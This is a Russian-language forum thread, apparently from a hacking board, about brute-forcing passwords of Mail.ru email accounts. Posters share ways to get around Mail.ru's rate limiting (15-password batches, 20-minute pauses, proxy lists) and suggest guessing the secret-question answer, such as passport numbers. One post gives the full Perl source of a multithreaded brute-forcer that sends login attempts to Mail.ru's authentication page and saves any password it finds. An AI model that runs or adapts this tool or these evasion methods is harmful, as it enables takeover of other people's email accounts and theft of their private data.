Периодически проверяю работспособность данного брута с Mail.ru. Сегодня решил попробовать сбрутить собственную почту: взял брут, взял словарик с примерно 200(две сотни) паролями, один из которых правильный. После прогона по словарю мыло не сбрутилось, повторял несколько раз и ни разу пасс не был подобран. На ачате не встречал данной проблемы, хотя не исключаю, что уже обсуждалось, и тем не менее решил спросить. Кто, что скажет по этому поводу? ЗЫ: только что проверил работоспособность брута на примере _www.hotbox.ru всё работает, мыло сдалось.
Раз уж создал тему про брут - продолжу. А возможно брутить не мыло, а его секретный вопрос? Дело в том, что заранее там уже предлагается указать номер паспорта, например, а это всего лишь прогон по 900 тыс. паролям- это не так много. Или, например, по девичьей фамилии матери, там тоже не так много должно быть, да и все эти варианты заранее сокращают громадный словарь. Минус только один - пасс сменится на почте.
На мейл.ру защита от брута, при чем идея улыбнула - когда брутиш с одного ИП не важно, через РОР3 или ХТТП после ЭН-ного кол-ва переборов (либо времени) - на любой пасс кричит - не верный =) (через время расчехляется, потом снова гонит, закономерности так и не выкупил) Для проверки во время брута вручную пытался зайти под своим рабочим мылом через Веб интерфейс и через РОР3 - тупо настаивало что пасс не верный )
выявил некую закономерность при бруте мэйлару, в словаре не должно быть более 15 слов(примерно), после переборки каждого из словарей(состоящих из 15 слов) надо ждать 20 минут, потом опять пробовать новую порцию(в 15 слов) паролей.... если же взять словарь на 200 слов, то правильный пароль не видит... независимо от перерыва во времени.... итог: для положительного резалта надо - словари - 15 слов, 15 минут отдых... вот такой вот гемор
Code: #!/usr/bin/perl use LWP::UserAgent; use threads; use threads::shared; my $num : shared; my $dyndyk : shared; my $thepass : shared; print "\a\a\a\a########## GeNoM-- mail.ru bruter v 3.0 || http://www.genom.h10.ru ###############\n"; my $ua = LWP::UserAgent->new( max_size => 1024, agent => 'kakep brayzer v 9.1.1', timeout => 30, ); # $proxy='127.0.0.1:8080'; # $ua->proxy('http'=>"http://$proxy"); # вот ваша прокся запишите тип http или socks и адрес можете в переменную можете просто так $threads=4; # количество потоков $tclover=40; # количество пасов отбручиваемых потоком $time=localtime; print "Start brute in $time\n"; open(pass,"<pass.txt"); while($sykaz=<pass>){$what_pass++;} close(pass); open(mails,"<mail.txt"); while($sykaz=<mails>){$what_mail++;} close(mails); print"\n~~~~~ total mails:$what_mail and password:$what_pass ~~~~~\n\n"; open(mails,"<mail.txt"); while ($mails=<mails>) { open(pass,"<pass.txt"); print"Start brute mail->$mails\n"; $mails=~s/\n//; ($login,$domain)=split(/\@/,$mails); # threads->create(\&loginbr); # вот перебор по логин+цифра если он нужен уберите решетку puk: # считываем пасы в массив для последующего скармливания их потоку for ($i = 0; $i < $tclover; $i++) { $password=<pass>; $password=~s/\n//; @passwd[$i]=$password; } open logg,">>log.txt";print logg "\n\nStart new thread with mail->$mails and password->@passwd[0]\n";close logg; threads->create(\&brut,@passwd); $num++; $got=$got+$tclover; $progr=int(($got/$what_pass)*100); print"\nStart new thread with mail->$mails & password->@passwd[0] & bruted password->$got & progress->$progr%\n"; sleep(1); if($got >= $what_pass){print"\n\nEnd of password list ....\n\n";goto(konec);} if($dyndyk==55){print"\n\n\a\a\a####### BRUTE PASSWORD [OK].... see brute_mail.txt #######\n\n";goto(konec);} check: if($num < $threads){goto(puk)} else{sleep(1);goto(check);}; konec: $got=0; foreach(threads->list) { $_->join } # ждем оконания остальных потоков и идем дальше close(pass); $dyndyk=0; } close(mails); sub brut { foreach $pyss(@_){ if($dyndyk==55){goto(proskok);} my $req = HTTP::Request->new(POST => 'http://win.mail.ru/cgi-bin/auth'); $req->content("page=&post=&login_from=http://mail.ru/&Login=$login&Domain=$domain&Password=$pyss"); $req->referer('http://win.mail.ru/cgi-bin/auth'); my $res = $ua->request($req); if($res->content=~/500 Can't connect/i) {print "Bad connect.......\n";exit;} if($res->content=~/checkcookie/i) {$dyndyk=55; print "\a\a\aFor $login\@$domain password->$pyss\n"; open brut, ">>brute-mail.txt";print brut "$login\@$domain password->$pyss\n";close brut; open logg,">>log.txt";print logg "For $login\@$domain password->$pyss\n";close logg;} proskok: } $num--; } sub loginbr { print"Start simple brute login->$login\n\n"; for($tt=0;$tt<=99;$tt++){ my $req = HTTP::Request->new(POST => 'http://win.mail.ru/cgi-bin/auth'); $req->content("page=&post=&login_from=http://mail.ru/&Login=$login&Domain=$domain&Password=$login$tt"); $req->referer('http://win.mail.ru/cgi-bin/auth'); my $res = $ua->request($req); if($res->content=~/500 Can't connect/i) {print "$yda4a\n";exit;} if($res->content=~/checkcookie/i) {$dyndyk=55; print "For $login\@$domain password->$login$tt\n"; open brut, ">>brute-mail.txt";print brut "$login\@$domain password->$login$tt\n";close brut; open logg,">>log.txt";print logg "For $login\@$domain password->$login$tt\n";close logg;goto(pyps); } pyps: } } вот этим раньше пользовался для брута, актуаленли он щас не знаю...
можно в принципе сделать proxy-list, но тож не вариант если каждый прокс будут блокировать на n минут...